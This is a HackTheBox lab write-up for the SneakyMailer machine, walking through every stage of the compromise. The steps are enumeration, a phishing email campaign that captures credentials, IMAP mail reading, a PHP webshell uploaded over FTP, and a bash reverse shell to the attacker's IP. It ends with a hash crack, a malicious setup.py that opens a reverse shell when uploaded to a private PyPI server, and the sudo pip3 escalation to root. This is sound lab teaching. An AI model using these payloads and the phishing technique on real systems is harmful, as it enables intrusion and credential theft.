HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

SneakyMailer

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.197 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Sat Sep 10 14:33:07 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.10s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy

# Nmap done at Sat Sep 10 14:33:20 2022 -- 1 IP address (1 host up) scanned in 13.47 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,25,80,143,993,8080 10.10.10.197 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Sat Sep 10 14:34:05 2022 as: nmap -sCV -p21,22,25,80,143,993,8080 -oN targeted 10.10.10.197
Nmap scan report for 10.10.10.197
Host is up (0.044s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp   open  http     nginx 1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
|_http-server-header: nginx/1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: ENABLE THREAD=ORDEREDSUBJECT NAMESPACE ACL IMAP4rev1 THREAD=REFERENCES completed STARTTLS IDLE CAPABILITY QUOTA OK UTF8=ACCEPTA0001 CHILDREN UIDPLUS SORT ACL2=UNION
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ENABLE THREAD=ORDEREDSUBJECT NAMESPACE ACL IMAP4rev1 THREAD=REFERENCES completed CAPABILITY IDLE OK QUOTA UTF8=ACCEPTA0001 AUTH=PLAIN CHILDREN UIDPLUS ACL2=UNION SORT
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-title: Welcome to nginx!
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 10 14:34:57 2022 -- 1 IP address (1 host up) scanned in 52.33 seconds

The website on port 80, is doing a redirect to http://sneakycorp.htb.

whatweb http://10.10.10.197

http://10.10.10.197 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[10.10.10.197], RedirectLocation[http://sneakycorp.htb], Title[301 Moved Permanently], nginx[1.14.2]
ERROR Opening: http://sneakycorp.htb - no address for sneakycorp.htb

Let's add the domain name to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.197    sneakycorp.htb

The website doesn't have much functionality.

But there is a big list of emails in the Team section.

We could have a wordlists of emails for later use. The following command will take all those emails and put them in a file, where each email is separated by a , character.

curl -s http://sneakycorp.htb/team.php | grep "@sneakymailer" | html2text | tr "\n" "," > emails

There is one subdomain called dev.sneakycorp.htb.

gobuster vhost -u http://sneakycorp.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • vhost enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://sneakycorp.htb/
[+] Method:       GET
[+] Threads:      200
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/09/11 00:38:29 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]
                                                     
===============================================================
2022/09/11 00:39:40 Finished
===============================================================

The subdomain has basically the same website, but with one register feature.

Exploitation

As we have a list of possible email addresses, we could try to send each address an email with a URL to our own HTTP server. This way, if some user open the email and click on the link, we'll see the request. First, set a simple HTTP server with nc on port 80.

nc -lvnp 80

Now, send an email to each email address of the ones we found earlier, and put in the body a link to our HTTP server. Once the emails are sent, we should see on the netcat listener a POST request with some juicy data.

swaks --to $(cat emails) --from alfa8sa@sneakymailer.htb --body "please click here http://10.10.14.11/" --server 10.10.10.197

  • --to recipient for the email.

  • --from sender of the email.

  • --body specify the body of the email.

  • --server specify the IP address to which to connect.

listening on [any] 80 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 40752
POST / HTTP/1.1
Host: 10.10.14.11
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Let's URL decode the POST data we got in the request.

php --interactive

php > echo urldecode("firstName...%3AHt");

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Now that we have credentials for the paulbyrd user, as IMAP ports 143 and 993 are open, we could try to see which emails has the paul user sent. First, connect to the server on port 143

nc -vn 10.10.10.197 143

(UNKNOWN) [10.10.10.197] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.

Log in as paulbyrd.

A1 LOGIN "paulbyrd" "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht"

* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
A1 OK LOGIN Ok.

List all the inboxes.

A2 LIST "" "*"

* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
A2 OK LIST completed

The Sent Items inbox has a few emails.

A3 EXAMINE "INBOX.Sent Items"

* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS ()] No permanent flags permitted
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
A3 OK [READ-ONLY] Ok

The first email is sent to the administrator, and it contains a few credentials.

A4 FETCH 1 BODY[]

* 1 FETCH (BODY[] {2167}                                                                                                                                      
MIME-Version: 1.0                                                                                                                                             
To: root <root@debian>                                                                                                                                        
From: Paul Byrd <paulbyrd@sneakymailer.htb>                                                                                                                   
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
        boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0in;
        margin-bottom:.0001pt;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
.MsoChpDefault
        {mso-style-type:export-only;}
@page WordSection1
        {size:8.5in 11.0in;
        margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
        {page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p>&nbsp;</o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
A4 OK FETCH completed.

The second email is just talking about python modules and PyPI.

A4 FETCH 2 BODY[]

* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
 Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)
A4 OK FETCH completed.

The credentials we found in the first email are valid for the FTP server.

ftp 10.10.10.197

Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:alfa8sa): developer
331 Please specify the password.
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

The FTP server contains a directory called dev.

ftp> ls

229 Entering Extended Passive Mode (|||53253|)
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jun 30  2020 dev
226 Directory send OK.

The dev directory contains what looks the files for the website hosted on dev.sneakycorp.htb.

ftp> ls dev

229 Entering Extended Passive Mode (|||11566|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26  2020 css
drwxr-xr-x    2 0        0            4096 May 26  2020 img
-rwxr-xr-x    1 0        0           13742 Jun 23  2020 index.php
drwxr-xr-x    3 0        0            4096 May 26  2020 js
drwxr-xr-x    2 0        0            4096 May 26  2020 pypi
drwxr-xr-x    4 0        0            4096 May 26  2020 scss
-rwxr-xr-x    1 0        0           26523 May 26  2020 team.php
drwxr-xr-x    8 0        0            4096 May 26  2020 vendor
226 Directory send OK.

We can upload a PHP webshell to the FTP server, and then access it from the browser, so we can execute commands on the system. Create a PHP file with the following content.

<?php echo system($_GET['cmd']);?>

Upload it to the FTP server under the dev directory.

ftp> cd dev

ftp> put webshell.php

local: webshell.php remote: webshell.php
229 Entering Extended Passive Mode (|||16137|)
150 Ok to send data.
100% |*****************************************************************************************************************|    35      599.64 KiB/s    00:00 ETA
226 Transfer complete.
35 bytes sent in 00:00 (0.47 KiB/s)

Now we can execute commands. Note that the file gets remove in a certain period of time.

http://dev.sneakycorp.htb/webshell.php?cmd=whoami

Time to get a shell. Set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, execute the following command, which will send the netcat listener a reverse shell as the www-data user.

http://dev.sneakycorp.htb/webshell.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.11/4444 0>%261"

listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 46458
bash: cannot set terminal process group (692): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sneakymailer:~/dev.sneakycorp.htb/dev$ whoami
whoami
www-data

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we list the processes that are being executed on the system, we'll see one by the pypi user, which command executes the PyPI server on port 5000.

ps aux

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
pypi       703  0.0  0.6  36804 25896 ?        Ss   17:44   0:05 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
...

It is giving the /var/www/pypi.sneakycorp.htb/.htpasswd file as an argument, which contains a password hash.

cat /var/www/pypi.sneakycorp.htb/.htpasswd

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Let's break the hash with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (?)     
1g 0:00:00:42 DONE (2022-09-11 01:48) 0.02374g/s 84879p/s 84879c/s 84879C/s souheib2..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

There is one configuration file for pypi.sneakycorp.htb under the Nginx configuration directory.

cat /etc/nginx/sites-enabled/pypi.sneakycorp.htb

server {                                                                                                                                                      
        listen 0.0.0.0:8080 default_server;                                                                                                                   
        listen [::]:8080 default_server;                                                                                                                      
        server_name _;                                                                                                                                        
}                                                                                                                                                             
                                                                                                                                                              
                                                                                                                                                              
server {                                                                                                                                                      
        listen 0.0.0.0:8080;                                                                                                                                  
        listen [::]:8080;                                                                                                                                     
                                                                                                                                                              
        server_name pypi.sneakycorp.htb;                                                                                                                      
                                                                                                                                                              
        location / {                                                                                                                                          
                proxy_pass http://127.0.0.1:5000;                                                                                                             
                proxy_set_header Host $host;                                                                                                                  
                proxy_set_header X-Real-IP $remote_addr;                                                                                                      
        }
}

The web server on port 8080 shows the PyPI server on port 5000. Let's add the new subdomain to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.197    sneakycorp.htb    dev.sneakycorp.htb    pypi.sneakycorp.htb

Let's check it out with the browser.

tree revshell/

revshell/
├── README.md
├── revshell
│   └── __init__.py
├── setup.cfg
└── setup.py

1 directory, 4 files

Every file can be empty, except for the setup.py file, which will contain the code that will be executed. It will contain the following code, that will send back a reverse shell.

nano setup.py

from setuptools import setup

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.11",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

setup(
    name='linode_example',
    description="Hello World",
    url="http://github.com/example/linode_example",
    author="alfa8sa",
    author_email="docs@linode.com",
    keywords=['pip','linode','example']
    )

Now, create the .pypirc file with the following content, in the home directory of our current user. The file must contain the URL of the PyPI server, the pypi user and the password that we broke.

nano ~/.pypirc

[distutils]
index-servers =
  pwn
[pwn]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui

Now, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then execute the following command from the revshell directory. This will spawn a shell in the netcat listener, but a shell in our current machine, not the victim machine.

python setup.py sdist upload -r pwn

listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.14.11] 53970
# hostname
alfa8sa

Now, set another netcat listener on port 4444.

nc -lvnp 4444

If now we exit the reverse shell on our own machine, we should get a shell on the second netcat listener on the victim machine as the low user.

# exit

listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.197] 51448
$ whoami
low
$ cat /home/low/user.txt
4243df0f4600a593151773c8eae05b5b

Now, set another interactive TTY shell doing the same steps we did before. If we list the sudo privileges, we'll see that we can execute pip3 as root without having to give the password.

sudo -l

sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

First, create a temporary directory.

TF=$(mktemp -d)

Then, create a custom setup.py script.

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

Finally, if we execute pip3 with sudo and install the setup.py script, we'll spawn a shell as root, and then all we have to do is reap the harvest and take the root flag.

sudo pip3 install $TF

sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.6ZUFGMjnlF
# whoami
root
# cat /root/root.txt
b6ec4e1318e90ad1118198c239c715b8

As this explains, there is a way for us to execute commands on the system and do user pivoting by creating a Private Python Package Repository. First, we'll have to create the following directories and files structure.

If we search for on the GTFOBins list, we'll see that we can spawn a shell as the root user.

article
pip
https://gtfobins.github.io/